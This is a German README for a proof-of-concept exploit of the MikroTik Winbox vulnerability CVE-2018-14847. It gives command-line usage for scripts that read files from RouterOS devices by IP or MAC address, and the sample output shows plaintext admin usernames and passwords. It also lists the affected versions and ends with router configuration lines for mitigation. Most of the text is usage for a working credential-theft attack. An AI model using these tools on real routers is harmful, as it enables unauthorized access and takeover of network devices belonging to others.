
Proof of Concept der kritischen Winbox-Schwachstelle (CVE-2018-14847)
Dies ist ein Proof of Concept der kritischen WinBox-Schwachstelle (CVE-2018-14847), die das beliebige Lesen von Dateien mit Klartext-Passwörtern ermöglicht.
Dieses Skript läuft NICHT mit Python 2.x oder niedriger.
Das Skript wird einfach mit einfachen Argumenten in der Befehlszeile verwendet.
Nutzen Sie die Schwachstelle aus und lesen Sie das Passwort.
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
Beispiel:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord
Sie können Dateien extrahieren, auch wenn das Gerät keine IP-Adresse hat.
Einfacher Erkennungscheck für lokal verbundene Mikrotik-Geräte.
python3 MACServerDiscover.py
Beispiel:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
Nutzen Sie die Schwachstelle aus und lesen Sie das Passwort.
python3 MACServerExploit.py <MAC-ADDRESS>
Beispiel:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
Alle RouterOS-Versionen vom 28.05.2015 bis 20.04.2018 sind für diesen Exploit verwundbar.
Mikrotik-Geräte mit RouterOS-Versionen:
Weitere Informationen finden Sie unter: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox